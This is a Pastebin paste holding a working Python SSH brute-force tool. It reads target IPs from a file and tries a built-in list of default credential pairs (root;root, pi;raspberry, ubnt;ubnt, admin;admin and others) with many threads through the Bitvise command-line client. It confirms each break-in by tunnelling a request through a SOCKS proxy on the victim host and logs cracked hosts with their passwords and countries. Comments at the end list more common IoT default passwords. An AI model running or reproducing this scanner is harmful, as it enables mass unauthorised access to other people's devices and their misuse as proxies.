Advertisement
Guest User

Untitled

a guest
Mar 8th, 2018
235
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.82 KB | None | 0 0
  1. import os, threading, pickle, subprocess, win32api, psutil, sys, random, requests, signal, pygeoip
  2. from time import sleep, time
  3. from pathlib import Path
  4.  
  5. lock = threading.Lock()
  6. hosts_file = open('ips.txt')
  7. gi = pygeoip.GeoIP(os.getcwd() + r'\GeoIP.dat')
  8.  
  9.  
  10. def on_exit(sig, func = None):
  11.     b_exit = True
  12.  
  13. def check_2nd_time(host, user, password):
  14.    
  15.     port = random.randint(1000, 65000)
  16.     stnlc = subprocess.Popen('cmd.exe /K echo a|' + str(Path(os.getcwd()).parent) + r'\Bitvise\stnlc -user={} -pw={} {} -proxyFwding=y -proxyListIntf=127.0.0.1 -proxyListPort={} -ka -trustLsp=n ' \
  17.     '-encr=aes256-gcm,aes256-ctr,aes192-ctr,aes128-gcm,aes128-ctr,3des-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc' \
  18.     .format(user, password, host, port), stdout= subprocess.PIPE, shell= True)
  19.     result = 0
  20.     while 1:
  21.         if b_exit: break
  22.         s = stnlc.stdout.readline()
  23.         if not s and stnlc.returncode is not None: break
  24.         elif any(x in s for x in [b'for more authentication', b'timeout', b'ERROR']): break
  25.         elif b'Enabled SOCKS/HTTP proxy forwarding' in s:
  26.             try:
  27.                 t = requests.get('https://google.com', proxies= {'http': 'socks5://127.0.0.1:' + str(port), 'https': 'socks5://127.0.0.1:' + str(port)}).text
  28.                 if len(t) > 100:
  29.                     result = 1
  30.                     break
  31.             except:
  32.                 pass
  33.             break
  34.     try:
  35.         process = psutil.Process(stnlc.pid)
  36.         for proc in process.children(recursive=True):
  37.             proc.kill()
  38.         process.kill()
  39.     except:
  40.         pass
  41.        
  42.     return result
  43.  
  44. def check(host, user, password, stnlc_to_return):
  45.    
  46.     try:
  47.         if b_exit: return
  48.         stnlc = subprocess.Popen(str(Path(os.getcwd()).parent) + r'\Bitvise\stnlc -user={} -pw={} {} -proxyFwding=y -proxyListIntf=127.0.0.1 -proxyListPort={} -ka -trustLsp=n ' \
  49.         '-encr=aes256-gcm,aes256-ctr,aes192-ctr,aes128-gcm,aes128-ctr,3des-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc'.format(user, password, host, random.randint(1000, 65000)),
  50.         stdin= subprocess.PIPE, stdout= subprocess.PIPE, universal_newlines= True)
  51.         stnlc_to_return[0] = stnlc
  52.         stnlc.communicate('a\n')
  53.         stnlc.kill()
  54.         if not stnlc.returncode:
  55.             if check_2nd_time(host, user, password):
  56.                 with lock:
  57.                     stats['found'] += 1
  58.                     with open('good_ssh.txt', 'a') as f: f.write('{};{};{};{}\n'.format(host, user, password, gi.country_code_by_addr(host)))
  59.         with lock: stats['checked'] += 1
  60.     except:
  61.         pass
  62.  
  63. def starter(user, password):
  64.    
  65.     while 1:
  66.         stnlc_to_return = [0]; start = time()
  67.         with lock: host = hosts_file.readline().strip()
  68.         t = threading.Thread(None, check, args= (host, user, password, stnlc_to_return)); t.start()
  69.         while 1:
  70.             sleep(1)
  71.             if not host or b_exit: return
  72.             if not t.isAlive(): break
  73.             if time() - start > 20:
  74.                 stnlc_to_return[0].kill()
  75.                 break
  76.  
  77. def print_stats():
  78.    
  79.     with lock:
  80.         stats['pointer'] = hosts_file.tell()
  81.         pickle.dump(stats, open('settings.pkl', 'wb'))
  82.     os.system('cls')
  83.     print(stats)
  84.     threading.Timer(2, print_stats).start()
  85.    
  86. try:
  87.     stats = pickle.load(open('settings.pkl', 'rb'))
  88.     stats['found'] = 0
  89. except:
  90.     stats = {'checked': 0, 'found': 0, 'combo': 0, 'pointer': 0}
  91.  
  92. inp = input('Threads?\n')
  93. b_exit = False    
  94. c_ind = stats['combo']
  95. hosts_file.seek(stats['pointer'])
  96. win32api.SetConsoleCtrlHandler(on_exit, True)
  97. threading.Thread(None, print_stats).start()
  98. combos = ['ftp;ftp', 'ftpuser;ftpuser', 'osmc;osmc', 'root;Passw0rd', 'root;passw0rd', 'admin;admin', 'root;123456', 'support;support', 'ubnt;ubnt', 'ftp;123456', 'guest;guest', 'admin;private', 'support;qwerty', 'test;123123', 'admin;password', 'admin;12345', 'user;user', 'admin;support', 'pi;raspberry','admin;ubnt', 'root;12345', 'admin;123456', 'test;test', 'operator;operator', 'admin;12345678', 'guest;123456', 'root;root', 'root;password', 'root;admin']
  99.  
  100. for c_ind in range(stats['combo'], len(combos)):
  101.     stats['combo'] = c_ind
  102.     user, password = combos[c_ind].split(';')
  103.     threads = [threading.Thread(None, starter, args= (user, password)) for _ in range(int(inp))]
  104.     [t.start() for t in threads]
  105.     [t.join() for t in threads]    
  106.     with lock:
  107.         hosts_file.seek(0)
  108.  
  109.  
  110.  
  111.  
  112.  
  113.  
  114.  
  115.  
  116. #papildomi
  117.    
  118.         #admin— 4621
  119.         #123456— 698
  120.         #12345— 575
  121.         #xc3511— 530
  122.         #GMB182— 495
  123.         #Zte521— 415
  124.         #password— 399
  125.         #oelinux123— 385
  126.         #jauntech— 344
  127.         #1234— 341
  128.        
  129.         admin [empty]
  130.         default;[empty]
  131.         admin;default
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement